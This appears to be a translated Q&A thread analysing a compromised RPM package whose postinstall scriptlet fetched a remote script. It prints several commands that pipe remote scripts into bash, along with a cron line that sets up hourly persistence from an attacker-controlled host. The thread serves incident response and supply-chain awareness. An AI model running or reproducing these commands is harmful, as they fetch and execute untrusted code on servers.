Назад | Перейти на главную страницу

Как установка этого RPM создала файл?

Бег yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm создает /etc/cron.d/sysstat2 но RPM отклоняет файл:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Как RPM создал файл и как посмотреть, что еще он сделал?

# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php содержит:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

Вы обнаружили, что сценарии rpm запускают сценарий из Интернета, и этот сценарий в настоящее время перенаправляет на то, что может быть вредоносным. Хотя я не нахожу много полезной нагрузки, которая что-либо делает.

rpm не может полностью отследить, что произошло, потому что он запускает произвольный сценарий.

gpgcheck вам не поможет, и getpagespeed-extras-7-6.el7.gps.noarch.rpm и getpagespeed-extras-release-7-1.el7.gps.noarch.rpm Вы связались с действующими подписями:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Пожаловаться владельцу репо, что пакет запускает произвольный код из интернета. Если это необходимо, необходимо улучшить безопасность их цепочки поставок программного обеспечения.

Кажется немного параноиком выполнить первую установку программного обеспечения без доступа в Интернет или вручную проверить сценарий «после установки». Но, к сожалению, это почти кажется необходимым, если пакеты выполняют такие опрометчивые трюки.

У меня есть 5 серверов CLoudLinux / cPanel, на которых раньше был Nginx через Engintron, но теперь они запускают веб-сервер LiteSpeed. Я думаю, что Engintron, возможно, оставил репозитории с разбивкой по страницам, когда он был удален. cPanel выполняет проверку обновлений каждую ночь, и примерно в полночь все мои серверы отправили мне сообщение по электронной почте:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Поиск на сайте полезной нагрузки привел меня сюда, где я вижу, что в тот же день у вас была такая же проблема. Итак, чтобы добавить мою информацию к своим. Такой же /etc/cron.d/sysstat2 файл существовал на всех моих серверах.

Я удалил файл, удалил репозитории и использовал контактную форму на GetPageSpeed, чтобы сообщить о проблеме. Владелец репо может быть самоволкой, поскольку в блоге было сообщение о том, что он закрывает репо из-за проблем со здоровьем. Так что, возможно, злоумышленник либо воспользовался тем фактом, что репо не привлекает внимания, либо нашел открытую дверь для использования.